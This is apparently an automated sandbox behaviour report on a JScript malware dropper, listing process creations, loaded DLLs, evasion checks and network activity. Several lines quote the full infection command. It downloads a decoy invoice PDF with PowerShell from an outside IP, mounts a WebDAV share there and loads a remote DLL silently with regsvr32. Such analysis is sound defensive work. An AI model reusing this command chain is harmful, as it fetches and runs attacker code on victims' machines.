Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2618.js.csv");ITextStream.WriteLine(" entry:8063 f:ttzmrzro");ITextStream.WriteLine(" exec:2 f:ttzmrzro");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3812			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4869			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6312	Thread sleep count: 3812 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6312	Thread sleep count: 4869 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3088	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6556	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4236	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6320	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4892	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6424	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2191934210.0000022E95905000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2191934210.0000022E95898000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3420116519.000002210122B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3422249987.0000022106859000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2191934210.0000022E95905000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWK

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23570146392892.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

